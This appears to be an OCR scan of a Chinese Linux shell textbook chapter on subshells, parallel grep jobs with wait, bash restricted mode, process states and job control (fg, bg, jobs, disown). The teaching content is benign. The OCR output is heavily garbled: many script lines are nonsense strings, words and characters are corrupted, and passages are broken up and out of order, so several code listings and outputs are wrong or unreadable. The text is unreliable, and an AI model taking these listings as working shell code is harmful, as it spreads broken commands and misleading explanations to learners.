子 Shell 还 可 以 接收 到 父 Shell 从 管道 传送 来 的 数据 。 下 面 的 例子 演示 了 使 用 管道 符 向 子 




















Shell 发 送 数据 ， 父 Shell 将 cat /etc/passwd 命令 的 结果 通过 
grep 命令 ， 在 输入 数据 中 查找 与 root 关键 字 所 匹配 的 行 。 


[root@jselab shell-book]# cat /etc/passwd 


融 


























enepoa oo) 








道 发 送 给 子 Shell， 子 Shell 执行 





# 打 印 /etc/passwd 文件 中 与 


#root 关键 字 所 匹配 的 行 


EeeOROREeSE oo Ela 
operacor: D0 oreracor Moo so ol 
[root@jselab shell-book]# 





子 Shell 还 有 一 个 应 用 是 可 以 将 一 个 计算 量 较 大 的 任务 分 成 若干 个 小 任务 3 





们 举 一 个 例子 来 曾 述 这 一 点 ， 新 建 名 为 subsparallel.sh 的 脚本 ,内容 如 下 : 
# 例 12-7: ”subsparallel .sh 脚本 演示 子 Shell 用 于 并 行 计算 的 用 法 
#!/bin/bash 














# 用 圆 括号 结构 创建 三 个 子 shel1 同时 执行 

# 每 个 子 She11 都 是 搜索 某 个 目录 下 与 root 关键 字 匹 配 的 行 ， 排 序 后 输出 到 某 文 件 
(qrep OOEIAEEE SEE 人 
(2 














(orepe ceooeu A re 








行 执 行 。 我 











wait 等 待 后 合 执行 的 作业 全 部 完成 后 ， 是 





# 将 partl1、part2 和 part3 三 个 临时 文件 合并 ， 排 序 后 重 定向 到 parttotal 文件 
ES 











了 执行 下 面 的 命令 











echo "Run time of this script is: $SECONDS" # 输 出 该 脚本 的 执行 时 间 





subsparallel.sh 脚本 的 功能 是 搜索 /etc、/ust/local 和 /lb 三 个 目录 下 的 文人 























所 有 与 关键 字 


“root” 所 匹配 的 行 ，grep 的 -选项 表示 递归 搜索 , 即 需要 搜索 子 目 录 内 的 文件 , /etc、/usr/local 
和 /lib 包含 大 量 的 文件 ， 搜 索 时 的 计算 量 相当 大 。 因 此 ， 我 们 为 搜索 每 个 目录 都 创建 一 个 子 
































Shell， 进 行 3 

















行 处 理 ， 子 Shell 将 搜索 到 的 匹配 行 用 sort 命令 排序 后 ， 写 入 到 临时 文件 partl、 


part2 和 part3 中 。 请 注意 ， 每 个 圆 括号 结构 之 外 都 有 一 个 & 符 号 ， 这 表示 将 此 命令 放 在 后 台 
执行 , 继续 执行 下 一 条 命令 , 如 果 去 掉 && 符 号 ,subsparallel.sh 脚本 需要 将 (grep -r "root" /etc/* 
| sort > partl ) 命令 执行 完毕 后 才能 执行 下 一 条 命令 ， 此 时 ，subsparallel.sh 脚本 就 没有 真正 实 





























1 





现 并 行 计算 。subsparallel.sh 脚本 利用 三 个 
































括号 结构 将 搜索 任务 划分 好 之 后 ， 使 用 了 wait 


命令 , wait 命令 也 是 一 个 内 建 命令 , 用 于 等 待 后 台 执 行 的 作业 全 部 完成 后 再 执行 下 面 的 命令 。 
wait 命令 在 subsparallel.sh 脚本 中 很 重要 ， 假 如 没有 这 条 命令 ，subsparallel.sh 脚本 将 三 个 子 
































Shell 放 到 后 台 执行 后 ， 将 直接 执行 合 ;# 
































临时 文件 的 命令 ， 此 时 ， 三 个 子 Shell 可 能 并 未 执行 


完毕 。 因 此 ， 临 时 文件 中 的 结果 是 不 完整 的 ， 合 并 后 也 将 产生 不 完整 的 最 终结 果 。 
下 面 给 出 subsparallel.sh 脚本 的 执行 结果 , 可 以 看 出 , subsparallel.sh 脚本 执行 了 72 秒 钟 ， 
























































产生 两 万 多 个 排序 好 的 结果 。 





Tt 
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# 例 12-7 subsparallel.sh 脚本 的 执行 结果 

[root@jselab shell=bcook]# chmod U+x subsparallel.sh 
[root@jselab shell-book]# ./subsparallel.sh 

Run enn er Ena cere # 脚 本 运行 了 72 秒 
[root@jselab shell-book]# wc -1 parttotal # 对 结果 文件 的 行 计数 
2 es 


子 Shell 是 允许 嵌 套 调用 的 ， 可 以 在 函数 或 圆 括号 结构 内 再 次 调用 圆 括号 结构 创建 子 
Shell， 这 种 结构 与 循环 结构 的 嵌 套 类 似 ， 建 议 读者 根据 上 机 提议 第 1 题 练习 幅 套 子 Shell 的 
用 法 ， 在 此 我 们 不 再 专门 举例 介绍 。 


Shell 的 限制 模式 人 


以 前 所 讲 的 Shell 都 是 运行 在 正常 模式 下 的 ,Shell 还 有 一 种 模式 称 为 限制 模式 , 简称 RSH 
(Restricted Shell)， 处 于 限制 模式 的 Shell 下 运行 一 个 脚本 或 脚本 片断 ， 将 会 禁用 一 些 命令 或 
操作 。 Shell 的 限制 模式 是 Linux 系统 基于 安全 方面 的 考虑 , 目的 是 为 了 限制 脚本 用 户 的 权限 ， 
并 尽 可 能 地 减 小 脚本 所 带 来 的 危害 。 

最 早 的 Shell 的 限制 模式 是 由 Korn Shell 实现 的 , bash Shell 的 限制 模式 借鉴 了 Korn Shell 
的 限制 性 命令 和 操作 ， 那 么 Shell 的 限制 模式 到 底 限 制 了 哪些 命令 和 操作 呢 ? 归纳 起 来 有 如 
下 儿 个 方面 : 

@ 用 cd 命令 更 改 当前 工作 目录 的 命令 。 

@ 更 改 重 要 环境 变量 的 值 ) 包括 $PATH、$SHELL、$BASH ENV 、$ENV 和 
$SHELLOPTS 。 
输出 重 定向 符号 ， 包 括 >、>>、>|、>& 、<> 和 人 > 符号 。 
调用 含有 一 个 或 多 个 和 斜 杠 W) 的 命令 名 称 。 

使 用 内 建 命令 exec。 
使 用 set +r 等 命令 关闭 限制 模式 。 

下 面 通 过 例 12-8 说 明 Shell 的 正常 模式 和 限制 
内 容 如 下 : 


#12-8: resshell.sh 脚本 演示 Shell 的 正常 模式 和 限制 模式 的 区 别 
SS 


























































































































































































































DH 





























模式 的 区 别 。 新 建 名 为 resshell.sh 的 脚本 ， 














# 在 正常 模式 下 改变 当前 工作 目录 

eehe changing eurrentewvork dnreceory, 
ed /ete 

echo "Now in $PWD" 






































sea # 利 用 shell 选项 使 下 面 的 代码 运行 在 限制 模式 下 
#r 是 restricted 的 简写 

echo 

Saha ========= 1 ROSLRICLED MOGE==-=-======= 


# 验 证 在 限制 模式 下 能 否 改变 当 前 工作 目录 


echo Trying to change current work directory, 











cons /Aoesdl 
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的 restricted 选项 。 
+ 是 restricted 的 简写 ， 因 此 ，set -r 就 开启 了 restricted 选项 。 接 着 ，resshell.sh 膨 
录 ， 以 $SHELL 为 代表 验证 能 和 否 改变 重要 环境 变量 
验证 能 和 否 执行 重 定向 操作 。 下 面 给 出 resshell.sh 脚本 的 执行 结果 : 


式 下 验证 能 否 改变 当前 工作 目 


是 
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echo "Now in ‘pwd " 
echo 
# 验 证 在 限制 模式 下 能 否 改 变 $sHELL 变量 的 值 








echo “Trying to change \N$SHELL" 
SHELL="/bin/sh" 

echo "\$SHELL=$SHELL" 

echo 














# 验 证 在 限制 模式 下 能 否 执行 重 定 向 操作 

Screenpey nto ceceet ouput tome emoy 
wee > orp 
Vso= ou en 


resshell.sh 脚本 首先 在 正常 模式 下 改变 当前 工作 目 















































#12-8 resshell.sh 脚本 的 输出 结果 

[root@ jselab shell-book]# chmod ut+x resshell.sh 
[root@ jselab shell-book]# ./resshell.sh 
Changing current work directory 








Now jin /ete 


Trying to change current work directory 
SS 本 SN 
Now in /etc 


Trying to change $SHELL 
./resshell.sh: line 14: 
$SHELL=/bin/bash 


SHELL: readonly variable 


TEvine ome ect outewme toa tule 


./resshell.sh: line 18: outputnull: restricted: 


ls: 无 法 访问 outputnull: 没有 那个 文件 或 目录 
从 resshell.sh 脚本 的 执行 结果 可 以 看 出 ，Shell 在 正 
































录 ， 然 后 利用 set 命令 开启 bash Shell 
第 9 章 的 表 9-1 可 知 ，restricted 选项 的 意义 就 是 以 限制 模式 运行 脚本 ， 


本 在 限制 模 
的 值 ， 以 及 








shell 














开始 在 限制 模式 下 运行 





cd 命令 出 错 ， 被 限制 了 
前 工作 目录 没有 改变 


ls 














$SHELL 变量 在 限制 模式 下 是 只 





cannot redirect output 
#redirect 操作 出 错 
#outputnull 没有 被 创建 





在 正常 模式 下 能 够 改变 当前 工作 目 








A 











作 目 录 ， 但 























常 模式 下 能 够 改变 当前 工 
行 





在 限制 模式 下， 执行 cd 命令 、 改 变 $SHELL 值 和 进 
芷 都 不 能 成 功 地 完成 。 

resshell.sh 脚本 是 通过 开局 Shell 的 restricted 选项 进入 
那 就 是 将 Sha-bang 符号 (所) 后 的 语句 改 成 /bin/bash -r，-f 表示 在 
本 。 下 面 用 例 12-9 来 说 明 这 种 用 法 ， 新 建 名 为 anotherres.sh 的 脚本 ， 









































模式 运行 脚本 的 方式 ， 
限制 模式 下 运行 该 
内 容 如 下 : 

例 12-9: anotherres.sh 脚本 演示 以 /bin/bash -r 方式 进 

















Sn = 











验证 在 限制 模式 下 能 否 读 取 $sSHELLOPTS 变量 的 值 
echo "\$SHELLOPTS=$SHELLOPTS™ 





华 清 远 见 孝 





限制 模式 的 ， 还 有 




















入 限制 模式 
# 以 限制 模式 运行 该 脚本 
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重 定 向 操作 时 都 出 现 错误 ， 这 些 操 


一 种 以 限制 
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echo 

# 验 证 在 限制 模式 下 能 否 改变 当前 工作 目录 

eceho cenansineolevrriene or neetEory 
cd /etc 

echo "Now in $PWD" 











# 验 证 在 限制 模式 下 能 否 改变 $sHELL 变量 的 值 
echo "Trying to change \$SHELL" 
SHEEDE /ein/ sh 

echo "“\$SHELL=$SHELL" 

echo 
# 验 证 在 限制 模式 下 能 否 执行 重 定向 操作 
SecmogTeyunggecErsdqneceoneone eona te 
won > ou ten 

see oun 


anotherres.sh 脚本 将 一 般 脚 本 的 ##/bin/bash 改 成 #!/bin/bash 了 ,表示 在 限制 模式 下 运行 它 。 
anotherres.sh 脚本 尝试 读 取 $SHELLOPTS 变量 的 值 并 打印 ， 然 后 与 resshell.sh 脚本 一 样 ， 验 
证 改变 当前 工作 目录 、 改 变 $SHELL 变量 的 值 ， 以 及 执行 香 定 问 操作 。 下 面 给 出 anotherres.sh 
脚本 的 执行 结果 : 
例 12-9 anotherres.sh 脚本 的 执行 结果 
root@jselab shell-book]# chmod u+x anotherres.sh 


root@jselab shell-book]# ./anotherres.sh 
$SHELLOPTS=braceexpand:hashall:interactive-comments # 能 够 读 取 $sSHELLOPTS 的 值 








































































































下 面 结果 与 resshell .sh 脚本 的 结果 一 样 
Cnangang 硬 CUeeenewseEaneceeEEY 
OOENeTReSRS ln ed rser ieee 
Now in /usr/local/shell-book 


Trying to change $SHELL 
./anotherres.sh: line 12: SHELL: readonly Variable 
$SHELL=/bin/bash 








Tryline toredireet omeue eonantile 
./anotherres.sh: line 16: outputnull: restricted: cannot redirect output 


1s: 无 法 访问 outputnull: 没有 那个 文件 或 目录 

从 anotherres.sh 脚本 的 执行 结果 可 以 看 出 ， 在 限制 模式 下 ，Shell 仍然 能 够 读 取 
$SHELLOPTS 变量 的 值 , 很 多 参考 书 认 为 限制 模式 的 Shell 不 能 读 取 $SHELLOPTS 变量 的 值 
我 们 在 Fedora Core 11 系统 bash 版 本 4 下 的 测试 说 明 : 受 限 模式 的 Shell 是 能 够 读 取 $SHELLOPTS 
变量 值 的 ， 这 可 能 是 bash 版 本 4 的 新 特性 。anotherres.sh 脚本 对 于 改变 当前 工作 目录 、 改 变 
$SHELL 变量 的 值 ， 以 及 执行 重 定向 操作 的 测试 结果 与 resshell.sh 脚本 一 样 ， 这 也 是 我 们 预 


站 
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料 之 中 的 结果 。 
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12.1 市 的 内 容 知 道 ， 内 建 命令 是 由 Shell 本 身 执 行 的 命令 ， 而 外 部 命令 则 需要 创建 新 
的 进程 来 执行 ， 图 12-1 从 进程 角度 归纳 了 Shell 执行 命令 的 过 程 。 
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从 Shell 提 示 符 读 取 命 令 


Shell 搜 索 命 令 的 可 
执行 文件 


内 核 将 新 程序 装载 到 内 
存 ， 并 覆盖 子 进程 内 容 











新 进程 运行 并 终止 








12-1 Shell 执行 命令 的 过 程 








从 图 12-1 可 以 看 到 ， 当 Shell 命令 不 是 内 建 命令 时 ，Linux 系统 利用 fork 对 一 个 子 进程 
执行 该 命令 ， 父 进程 处 于 等 待 状态 ; 然后 ， 如 果 该 命令 或 脚本 中 包含 编译 过 的 可 执行 文件 ， 
内 核 将 新 程序 装载 到 内 存 ， 并 履 盖 1 执行 结束 后 ， 退 出 子 进程 ， 父 进程 被 重新 激活 ， 
开始 读 取 Shell 提示 符 后 的 下 一 条 命令 
fork 是 Linux 系统 的 一 种 系统 调用 (system calls)， 系 统 调用 用 于 请 求 内 核 服 务 ， 这 也 是 
进程 访问 硬件 的 唯一 办 法 。fork 是 创建 新 进程 的 系统 调用 ，fork 创建 的 子 进 程 是 父 进程 的 副 
本 ， 两 个 进程 具有 同样 的 环境 、 打 开 的 文件 、 用 户 标 志 符 、 当 前 工作 目录 和 信和 号 等 。 

UNIX 是 第 一 个 允许 每 个 系统 用 户 控制 多 个 进程 的 操作 系统 ， 这 种 机 制 称 为 用 户 控制 的 
多 任务 (user-controlled multitasking )，Linux 操作 系统 延续 了 此 特性 。 本 节 将 介绍 bash Shell 
在 多 任务 和 进程 处 理 方面 的 知识 ， 对 进程 处 理 将 涉及 操作 系统 进程 相关 的 原理 ， 本 节 仅 介绍 















































































































































































































































了 操作 系统 进程 相关 的 最 基本 的 概念 。 希 望 对 操作 系统 原理 有 更 深入 了 解 的 读者 ， 建 议 阅读 
Andrew S. Tanenbaum 所 著 的 《现代 操作 系统 》 一 书 ， 对 操作 系统 原理 的 深入 理解 对 理解 本 节 
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的 内 容 将 起 到 事半功倍 的 作用 。 
12.3.1 进程 和 作业 








进程 和 作业 是 有 区 别 的 ， 一 个 正在 执行 的 进程 称 为 作业 ， 一 个 作业 可 以 包含 多 个 进程 。 
因此 ， 简 单 说 来 ， 作 业 













































































程 状态 称 为 执行 状态 。 





@ 虽 
















































































用 户 提交 作业 到 操作 系统 ， 作 业 的 完成 可 能 依赖 于 启动 多 个 进程 。 
用 户 层 面 的 概念 ， 而 进程 是 操作 系统 层面 的 概念 。 
进程 是 一 个 具有 一 定 独 立功 能 的 程序 关于 某 个 数据 集合 的 一 次 ; 
不 断 地 改变 其 运行 状态 。 通 常 ， 一 个 运行 进程 必须 具有 以 下 三 种 基本 状态 。 

@ 就 结 〈Ready) 状态 : 当 进 程 已 分 配 到 除 CPU 以 外 的 所 有 必要 的 资源 ， 
理 机 便 可 立即 执行 ， 这 时 的 进程 状态 称 为 就 绪 状 态 。 
@ 运行 (Running) 状态 : 当 进 程 已 获得 处 至 





机 ， 其 程序 正在 处 理 























程 





























塞 (Blocked) 状态 : 正在 执行 的 进程 ， 由 
放弃 人 处理 机 而 处 于 阻塞 状态 。 引 起 进程 阻塞 的 





























申请 缓冲 区 不 能 满足 、 等 待 信号 等 。 
一 个 进程 在 运行 期 间 ， 不 断 地 从 -种 
和 执行 状态 ， 也 可 以 多 次 处 于 阻塞 状态 。 图 12-2 
e 就绪 _, 执 行 ， 处 于 就 绪 状 态 的 进程 二 当 进 程 调度 程序 为 之 分 配 了 处 























状态 转换 到 另 一 利 








便 由 就 绪 状 态 转变 成 执行 状态 。 
@ 执行 一 就 绪 : 处 于 执行 状态 的 进程 在 其 执行 过 程 中 ， 因 分 配给 它 的 一 个 时 
完 而 不 得 不 让 出 处 理 机 ， 于 是 进程 从 执行 状态 转变 成 就 绪 状态 。 











@ 执行 一 阻塞 : 正在 执行 的 进程 因 








态 变 成 阻塞 状态 。 











@ 阻塞 一 就 绪 : 处 于 阻塞 状态 的 进程 ， 


态 转变 为 就 绪 状 态 。 


12-2 ”进程 的 基本 状态 及 其 转换 


Linux 系统 为 每 个 进程 分 配 一 个 数字 以 标识 这 个 进程 ， 
建 该 进程 的 Shell 为 此 进程 创建 一 个 数学 ， 也 用 



































程 号 和 作业 号 的 区 别 在 哪里 呢 ? 
We 
个 请 反 匈 
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某 种 事 伯 





























对 























口 枉 





证 -SR 


iL 上 执行 ， 此 时 的 进 


于 等 待 某 个 事件 发 生 而 无 法 执行 时 ， 便 
Fh， 例如 ， 等 待 IO 完成 、 


， 它 可 以 多 次 处 于 就 绪 状态 
述 了 进程 的 三 种 基本 状态 及 其 转换 。 
机 后 ， 该 进程 











发 生 而 无 法 继续 执行 时 ， 便 从 执行 状 























进程 


























若 其 等 待 的 事 作 
































1 间 片 已 用 












































于 标识 这 个 进 和 

















Ee 






































这 个 数字 就 是 进程 号 。 同 时 ， 创 
这 个 数字 称 为 作业 号 。 进 
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作业 号 标识 的 是 在 此 Shell 下 运行 的 所 有 进程 ， 我 们 知道 ，Linux 是 多 用 户 的 系统 ， 多 用 
户 可 能 开启 了 多 个 Shell， 进 程 号 就 标识 了 整个 系统 下 正在 运行 的 所 有 进程 。 
下 面 的 例 12-10 创建 两 个 进程 ， 当 用 & 符 号 使 其 在 后 台 运 行 时 ，Shell 将 显示 作业 号 和 进 
程 号 ， 方 括号 中 的 [1] 和 [2] 是 作业 号 ， 方 括号 后 面 的 4693 和 4695 是 进程 号 。 
例 12-10: 后 人 台 运 行 一 个 作业 ，[1] 是 作业 号 ，4693 是 进程 号 
root@jselab shell-Book|# grep ER "root /ete/* | sort > partl & 


































































































] 4693 
oogeanselab ne Bookrlt ore erooe /vs loco/ se ace 
2] 4695 

] Done grep ore /ere/ sor pacel 


提示 [1] 号 作业 已 经 完成 
root@jselab shell-book]# 


默认 情况 下 ， 当 我 们 输入 下 一 条 命令 时 ，Shell 才 提 示 后 台 运 行 的 作业 已 经 结束 ， 而 实际 
上 ， 该 作业 可 能 早 就 运行 结束 。 如 果 需 要 当 后 台 运 行 的 作业 一 结束 ，Shell 就 显示 信息 ， 就 需 
要 开启 norify 选项 ， 该 选项 的 简写 是 b。 下 面 给 出 一 个 例子 ， 用 set -b 开启 norify 选项 后 ， 再 
次 提交 一 个 后 台 作 业 ， 该 作业 一 旦 结束 Shell， 立 刻 提示 作业 完成 。 

# 例 12-11: 演示 norify 选项 的 功能 























































































































[root@jselab shell-book]# set -b # 开 启 norify 选项 
[root@jselab shell-book]# grep -r "root" /etc/* | sort > partl & # 提 交 后 台 作 业 
Ae # 作 业 号 和 进程 号 
[root@jselab shell-book]# [1]+ Done gnep ye uot asa 


# 提 示 [1] 号 作业 已 经 完成 
12.3.2 ”作业 控制 


进程 是 针对 整个 Linux 系统 而 言 的 ， 作业 是 针对 Shell 而 言 的 。 作 业 有 两 种 运行 方式 : 前 
台 运 行 和 后 台 运 行 。 那 么 前 台 运行 和 后 台 运 行 的 区 别 在 哪里 呢 ? 如 果 要 透彻 地 解释 清楚 两 者 
的 区 别 ， 不 可 避免 地 要 涉及 Linux 核心 代码 ， 在 此 不 解释 Linux 内 核 是 如 何 处 理 前 台 运 行 和 
后 台 运 行 的 ， 只 解释 两 者 直观 的 区 别 : 前 台 运 行 的 作业 指 作业 能 够 控制 当前 终端 或 窗口 ， 且 
能 接收 用 户 的 输入 ; 而 后 台 运 行 的 作业 则 不 在 当前 激活 的 终端 或 窗口 中 运行 ， 是 在 用 户 “ 看 
个 见 ”的 情况 下 运行 。 内 建 命令 名 可 将 后 台 运 行 的 作业 放 到 前 全 ， 而 & 符 号 使 得 作业 在 后 台 

运行 。 实 际 上 ， 利 用 作业 号 对 前 台 和 后 台 作业 的 操作 就 是 本 节 的 主题 一 作业 控制 。 

为 便于 说 明 问 题 ， 我 们 编写 一 个 运行 10 秒 钟 的 脚本 ， 名 为 sleep10.sh， 该 脚本 不 执行 任 
何 功 能 ， 只 是 休眠 10 秒 钟 后 结束 ， 内 容 如 下 : 


#sleep10. sh 脚本 演示 休眠 10 秒 钟 后 结束 
#!/bin/bash 



























































= 































































































sleep 10 

首先 , 我 们 举 一 个 利用 全 命令 将 后 台 作 业 放 到 前 台 运 行 的 例子 , 请 看 下 面 的 一 组 命令 和 
运行 结果 : 

# 例 12-12: 演示 利用 fg 命令 将 后 台 作 业 放 到 前 台 运行 



































[root@jselab shell-book]# ./sleepl0.sh & # 提 交 后 台 作 业 
[1] 4726 # 作 业 号 和 进程 号 
[root@jselab shell-book]# fg # 将 [1] 号 作业 放 到 前 台 运 行 


./sleepl0.sh 
#Shell 等 待 [1] 号 作业 运行 完毕 ， 才 显示 下 一 行 提示 符 
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[root@jselab shell-book]# 
上 例 中 ,将 sleep10.sh 提交 到 后 台 运 行 ，Shell 返 
[1] 号 作业 放 到 了 前 台 运 行 ，Shell 提示 脚本 名 学， 




















可 作业 号 和 进程 号 ， 我们 利用 危 命令 将 








由 于 该 作业 放 到 前 台 后 ， 就 控制 了 当前 的 




















Shell, 





























那么 ， 当 有 多 个 作业 在 后 台 运 行 时 , 不 带 任何 参数 的 
到 前 台 。 





所 以 ，Shell 等 待 [1] 号 作业 运行 完毕 之 后 ， 才 显示 下 一 行 提示 符 。 
于 上 例 只 有 一 个 作业 在 后 台 运 行 ， 人 多 命令 不 带 任何 参数 就 能 将 该 作业 放 到 前 台 运 行 。 











fg 命令 将 最 近 提 交 的 那个 后 台 作 业 放 置 





fg 命令 如 果 要 在 多 个 后 台 作 业 中 挑选 符合 条 件 的 作业 ， 可 以 使 用 作业 号 、 作 业 的 命令 字 
符 等 参数 。 下 面 的 例 12-13 演示 了 fg 利用 作业 号 指定 作业 : 





























例 12-13: 演示 fg 命令 利用 作业 号 指定 作业 
root@jselab shell-book|# cat sleep55.sh 
!/bin/bash 

















sleep 55 

root@jselab shell-book]# ./sleep55.sh & 
4 /A 

root@jselab shell-book]# ./sleepl0.sh & 
2 A474 

root@jselab shell-book]# fg %1 
./Ssleep55.sh 

2 Done ./sleepl0.sh 
在 等 待 [1] 号 作业 的 过 程 中 ，[2] 号 作业 运行 完毕 
root@jselab shell-book]# 



































显示 sleep55. sh 脚本 的 内 容 


休眠 55 秒 


提交 第 1 个 后 台 作 








提交 第 2 个 后 台 作 











将 [1] 号 作业 放 到 前 台 运 行 
1] 号 作业 是 sleep55. sh 脚本 








1] 号 作业 运行 完毕 


我 们 首先 仿照 sleep10.sh 创建 sleep55.sh，sleep55ish 休眠 55 秒 。 然 后 ， 将 sleep55.sh 作 
为 第 1 个 提交 到 后 人 台 运 行 的 作业 ,将 sleep10.sh 作为 第 2 个 提交 到 后 台 运 行 的 作业 。 利 用 从 %1 

















命令 将 作业 号 为 1 的 作业 放 到 前 台 运 行 ,Shell 提示 
脚本 ， 这 说 明 Shell 确实 将 [了 号 作业 放置 到 了 前 台 。 





















































“Jsleep55.sh”，[1] 写 作业 是 sleep55.sh 
Shell 开始 等 待 sleep55.sh 脚本 的 完成 ， 








由 于 [2] 号 作业 仅 需 10 秒 就 可 完成 ， 因此， 在 等 待 [1] 号 作业 的 过 程 中 ，Shell 提示 [2] 号 作业 运 
行 完 毕 的 信息 ， 约 55 秒 后 ，Shell 恢复 正常 提示 符 ， 这 说 明 [1] 号 作业 运行 完毕 。 
从 命令 除了 用 作业 号 指定 后 台 作 业 以 外 ， 还 有 多 种 方法 ， 如 表 12-2 所 示 。 














表 12-2 指定 作业 方法 及 其 意义 

















%n n 为 后 台 作 业 的 作业 号 





%string 命令 以 string 字符 串 开 始 的 后 台 作业 








%?string 


命令 包含 string 字符 串 的 后 台 作 业 








%+ 或 %% 最 近 提 交 的 后 台 作业 





%- 最 近 第 二 个 提交 的 后 台 作业 














%string 和 %?string 是 以 后 台 作 业 的 命令 来 指定 作业 的 ，%string 表示 提交 作业 的 命令 是 
以 string 开头 的 ,而 %?string 表示 交 作 业 的 命令 包含 string。%+ 或 %% 与 从 不 带 任何 参数 的 作 

















用 相同 ， 用 于 指定 最 近 提 交 的 后 台 作 业 。 而 %- 则 用 于 指定 最 近 第 二 个 提交 的 后 台 作 业 。 
接着 ， 我 们 再 介绍 内 建 命令 jobs 的 用 法 ，jobs 命 
































令 用 于 显示 所 有 的 后 台 作 业 。 下 面 的 例 
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12-14 演示 了 jobs 命令 的 用 法 : 
例 12-14: 内 建 命令 jobs 的 用 法 
root@jselab shell-book ./sleeB55.sh & # 提 交 第 1 个 后 台 作 
IG 
root@jselab shell-book -/sleeB55.sh & # 提 交 第 2 个 后 台 作 
2]04762 
root@jselab shell-book ./sleepl0.sh & # 提 交 第 3 个 后 人 台 作 
3] 4764 
Foote selad snenl Sooklt os # 显 示 所 有 后 台 运 行 的 作业 
业 Runnnyg ./sleep55.sh & 
有 | 二 ./sleep55.sh & 
3 panndirdg ./sleepl0.sh & 
root@jselab shell-book]# jobs -1 # 带 上 -1 参数 ， 显 示 作 业 的 进程 号 
1 4760 Running leeess sh 
2 4 6 2 Rr ./sleep55.sh & 
3]Tm47 eA Running ./sleepl0.sh & 
上 例 依次 提交 三 个 后 台 作 业 ， 前 两 个 作业 用 的 是 sleep55.sh 脚本 ， 最 后 一 个 作业 用 的 是 














sleep10.sh 脚本 ， 然 后 输入 jobs 命令 ， 显 示 出 有 三 个 后 台 作 业 正 在 运行 。 如 果 我 们 在 jobs 命 
令 后 加 上 -1 参数 ， 则 附带 显示 作业 的 进程 号 
我 们 也 可 以 将 正在 运行 的 作业 阻塞 ， 这 只 要 在 作业 运行 时 按 下 “Ctrl+Z” 组 合 键 即 可 ， 
下 面 的 例 12-15 说 明 这 种 用 法 。 
# 例 12-15: 将 正在 运行 的 作业 阻塞 的 用 法 


[root@jselab shell-book]# vi sleep10.sh # 用 vi 编辑 器 打开 文件 
#!/bin/bash 












































sleep 10 












































-Sleeelonmsn S22 

按 下 “Ctrl+z” 组 合 键 ， 出 现 如 下 信息 ， 说 明 vi sleep10.sh 作业 进入 阻塞 态 

1]+ Stopped Vi Sleep10.sh 

root@jselab shell-book]# jobs # 显 示 后 台 作 业 

1]+ Stopped Vi Sleep10.sh 

root@jselab shell-book]# fg #fg 命令 使 vi sleep10. snh 作业 重新 转 到 前 台 
vi Sleep10.sh 

!/bin/bash 
sleep 10 


sleseolo Sh S22e 
































ALs 塘 j= 华 清 远 见 教育 集团 官网 : www. hqyj. com 
十 | 应 见 


HQYJ.COM 





296 





《Linux Shell 编程 从 初学 到 精通 》 














例 12-15 首先 用 vi 命令 打开 sleep10.sh 文件 ， 此 时 ，vi sleep10.sh 作业 在 前 台 运 行 ， 我 们 


















































演示 了 bg 命令 的 用 法 : 






























































例 12-16 首先 将 sleep55.sh 脚本 提交 到 前 台 
阻塞 ， 再 输入 bg 命令 使 作业 由 阻塞 状态 转 入 后 台 i 
行 状 态 ， 运行 完毕 后 ， Shell 出 现 提 示 信 息 。 






















































































用 进程 号 指定 作业 。 这 些 命令 指定 作业 的 方法 都 可 以 使 用 表 
上 面 已 经 介绍 了 他 、bg 和 jobs 命令 ，Kill 命令 将 在 12.3.3 





























和 wait 命令 。disown 命令 用 于 从 Shell 的 作业 表 中 删除 作业 ， 作业 表 就 是 由 jobs 命令 所 列 出 的 
作业 列表 ，disown 可 以 指定 删除 作业 表 中 的 作业 。 下 面 举 一 个 例子 来 说 明 disown 命令 的 用 法 : 





















































=bash: warning: deleting stopped job 2 with process 9 
Shel1 提示 已 经 删除 进程 号 为 1819 的 作 
root@zawu shell-program as 
reotCzewsnell enooram 























a a 
机 

































































输入 “Ctrl+Z” 组 合 键 , 可 将 sleep10.sh 作业 转 入 阻塞 状态 , Shell 提示 该 作业 已 经 停止 (Stopped)， 
阻塞 状态 的 进程 是 在 后 台 的 。 因 此 ， 输 入 jobs 命令 可 以 看 到 vi sleep10.sh 作业 及 其 状态 。 然 后 ， 
输入 全 命令 后 ， 使 vi sleep10.sh 作业 重新 转 到 前 台 ， 出 现 大 家 熟悉 的 vi 
在 “Ctrl+Z” 组 合 键 之 后 输入 bg 命令 可 使 阻塞 状态 的 作业 转 入 后 台 运 行 , 下 面 的 例 12-16 
































例 12-16: 演示 在 Ctrl+2z 组 合 键 之 后 利用 bg 命令 将 阻塞 态 作业 转 入 后 台 运行 
root@jselab shell-book Asleeponbesh # 提 交 前 台 作 业 
人 加 # 按 下 Ctrl+z 组 合 键 ， 将 该 作业 阻塞 
Stopped /sueepseNsn 
Poo el nem eeu # 在 Ctrl+2z 组 合 键 后 输入 bg 命令 可 使 阻塞 状态 的 作 
# 业 转 入 后 台 运 行 
./sSleep55.sh & 
root@jselab shell-book]# jobs # 作 业 转 入 后 台 运 行 
+ Running ./sleep55.sh & 
root@jselab shell-book [1]+ Done ./sleep55.sh 
作业 运行 完毕 





运行 ， 然 后 按 下 “Ctrl+Z” 组 合 键 ， 将 该 作业 
行 ,由 jobs 命令 得 知 ./sleep55.sh 多 处 在 运 


值得 注意 的 是 ，fg、bg 和 jobs 命令 只 能 以 作业 号 为 参数 来 指定 作业 ， 这 三 个 命令 是 不 能 
使 用 进程 号 的 。 而 下 面 将 要 提 及 的 kill、disown 和 wait 命令 既 能 以 作业 号 指定 作业 ， 也 可 以 


12-2 所 列 出 的 符号 。 
节 中 介绍 ,在 此 我 们 介绍 disown 















































例 12-17: disown 命令 的 用 法 

root@zawu shell-program]# vi input & # 提 交 第 1 个 后 台 作 业 

于] 开 即 呈 

root@zawu shell-program]# vi loggg & # 提 交 第 2 个 后 台 作业 

2 Tone 

Sietepped wn 

root@zawu shell-program jobs 显示 作业 列表 

lj Stopped WE 

2 PPS wl enene 

root@zawu shell-program]# disown %- 删除 最 后 第 2 个 提交 的 作业 
=bash: warning: deleting stopped job 1 with process group 1781 

Shell 提示 已 经 删除 进程 号 为 1781 的 作业 ， 即 最 后 第 2 个 提交 的 vi input 作业 

root@zawu shell-program ES 以 进程 号 的 方式 指定 所 要 删除 的 作业 























oe lg 








作业 列表 已 经 为 空 





例 12-17 先 向 后 台 提 区 两 个 作业 ， 都 是 用 vi 命令 编辑 文件 的 作业 ， 用 jobs 命令 显示 的 作 
业 列 表 显 示 出 了 这 两 个 Vi 命令 的 作业 ， 然 后 ， 我 们 使 用 disown %- 命 令 删除 最 后 第 2 个 提交 
